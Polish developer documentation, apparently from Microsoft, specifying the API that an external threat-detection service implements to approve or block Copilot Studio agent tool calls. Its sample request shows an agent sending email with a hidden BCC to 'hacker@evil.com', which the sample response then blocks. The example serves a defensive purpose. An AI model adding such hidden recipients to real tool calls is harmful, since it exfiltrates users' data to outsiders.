Tworzenie systemu wykrywania zagrożeń środowiska uruchomieniowego dla agentów Programu Copilot Studio

Organizacje mogą dodać warstwę zabezpieczeń do swoich agentów Programu Copilot Studio, łącząc je z systemem wykrywania zagrożeń w czasie wykonywania. Po nawiązaniu połączenia agent wywołuje ten system w czasie wykonywania. Agent dostarcza systemowi dane, dzięki czemu system może określić, czy narzędzie, które agent planuje wywołać, jest uzasadnione, czy nie. Następnie system odpowiada na program Copilot Studio z odpowiedzią "zatwierdź" lub "blok", powodując, że agent może wywołać lub pominąć odpowiednie narzędzie. Aby uzyskać więcej informacji na temat łączenia agentów z istniejącym zewnętrznym systemem wykrywania zagrożeń, zobacz Włączanie zewnętrznego wykrywania zagrożeń i ochrony agentów niestandardowych copilot Studio.

Ten artykuł jest przeznaczony dla deweloperów i opisuje sposób integrowania własnych możliwości wykrywania zagrożeń jako dostawcy zabezpieczeń dla agentów Copilot Studio.

Integracja jest oparta na interfejsie API składającym się z dwóch punktów końcowych. Głównym punktem końcowym, który należy zaimplementować, jest analyze-tool-execution punkt końcowy. Ten punkt końcowy należy uwidocznić jako interfejs systemu wykrywania zagrożeń. Gdy klienci skonfigurują system jako zewnętrzny system wykrywania zagrożeń, agent wywołuje ten interfejs API za każdym razem, gdy zamierza wywołać narzędzie.

Oprócz punktu końcowego analyze-tool-execution należy również uwidocznić drugi punkt końcowy o nazwie validate. Punkt validate końcowy służy do sprawdzania kondycji i gotowości punktu końcowego w ramach konfiguracji systemu.

W poniższych sekcjach szczegółowo opisano każdy punkt końcowy.

POST /validate

Cel: Sprawdza, czy punkt końcowy wykrywania zagrożeń jest osiągalny i działa. Służy do początkowego konfigurowania i testowania konfiguracji.

Weryfikowanie żądania

• Metoda: POST

• Adres URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• Nagłówki:

  • Autoryzacja: token elementu nośnego na potrzeby uwierzytelniania interfejsu API

  • x-ms-correlation-id: identyfikator GUID do śledzenia

• Ciało: Pusty

Weryfikowanie odpowiedzi

Przykład odpowiedzi 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Przykład odpowiedzi na błąd

Jeśli wystąpi błąd (nieudany kod HTTP), punkt końcowy zwraca kod błędu, komunikat i opcjonalną diagnostykę.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Cel: Przesyła kontekst wykonywania narzędzia do oceny ryzyka. Ocenia żądanie wykonania narzędzia i odpowiada na to, czy zezwolić na wykonywanie narzędzia, czy zablokować je.

Żądanie wykonania narzędzia analizy

• Metoda: POST

• Adres URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Nagłówki:

  • Autoryzacja: token elementu nośnego na potrzeby uwierzytelniania interfejsu API
  • Typ zawartości: application/json

• Ciało: Obiekt JSON

Przykładowe żądanie wykonywania narzędzia analyze-tool

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Analizowanie odpowiedzi na wykonywanie narzędzi

200 OK

Gdy żądanie jest prawidłowe, narzędzie określone w żądaniu jest oceniane i dozwolone lub zablokowane na podstawie zdefiniowanych kryteriów. Odpowiedź może zawierać następujące pola:

• blockAction (wartość logiczna): czy akcja powinna zostać zablokowana
• reasonCode (liczba całkowita, opcjonalnie): kod liczbowy wyjaśniający przyczynę bloku
• reason (ciąg, opcjonalny): objaśnienie czytelne dla człowieka
• diagnostyka (obiekt, opcjonalnie): inne szczegóły dotyczące śledzenia lub debugowania

Przykład zezwalaj na odpowiedź

{
  "blockAction": false
}

Przykładowa odpowiedź bloku

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Przykładowa odpowiedź na błąd

Jeśli żądanie jest nieprawidłowe, zwracana jest odpowiedź o błędzie z kodem błędu, komunikatem, stanem HTTP i opcjonalną diagnostyką.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Odwołanie do struktur treści żądań i odpowiedzi

W poniższych tabelach opisano zawartość różnych obiektów używanych w jednostkach żądania i odpowiedzi dla punktów końcowych.

ValidationResponse

AnalyzeToolExecutionResponse

ErrorResponse

EvaluationRequest

PlannerContext

ChatMessage

ToolExecutionOutputs

ExecutionOutput

ToolDefinition

ToolInput

ToolOutput

ConversationMetadata

AgentContext

UserContext

TriggerContext

Authentication

Opracowywana integracja powinna używać uwierzytelniania microsoft Entra ID. Postępuj zgodnie z instrukcjami w temacie Integrowanie aplikacji, które tworzą deweloperzy.

Kroki, które należy wykonać, obejmują następujące czynności:

• Utwórz rejestrację aplikacji dla zasobu w dzierżawie.
• Uwidacznia zakres internetowego interfejsu API. Uwidoczniony zakres musi być podstawowym adresem URL zasobu wywoływanego przez klientów. Jeśli na przykład adres URL interfejsu API to https://security.contoso.com/api/threatdetection, uwidoczniony zakres musi mieć wartość https://security.contoso.com.
• W zależności od sposobu implementacji usługi należy zaimplementować logikę autoryzacji i zweryfikować tokeny przychodzące. Musisz udokumentować, jak klient musi autoryzować swoje aplikacje. Istnieje wiele sposobów na to, na przykład przy użyciu listy dozwolonych identyfikatorów aplikacji lub kontroli dostępu opartej na rolach (RBAC).

Wymagania dotyczące czasu odpowiedzi

Agent oczekuje odpowiedzi z systemu wykrywania zagrożeń w mniej niż 1000 ms. Upewnij się, że punkt końcowy odpowiada na wywołanie w tym przedziale czasu. Jeśli system nie odpowiada w odpowiednim czasie, agent zachowuje się tak, jakby odpowiedź brzmi "zezwalaj", wywołując narzędzie.

Przechowywanie wersji interfejsu API

W żądaniach wersja interfejsu API jest określana za pomocą parametru api-version zapytania (na przykład api-version=2025-05-01). Implementacja powinna być odporna na inne nieoczekiwane pola i nie powinna zakończyć się niepowodzeniem, jeśli nowe wartości zostaną dodane w przyszłości. Partnerzy nie powinni weryfikować wersji interfejsu API, ponieważ wszystkie wersje w tej chwili są uznawane za niezgodne. Partnerzy powinni śledzić wersje interfejsu API, ale nie kończą się niepowodzeniem żądania w przypadku wyświetlania nowej wersji.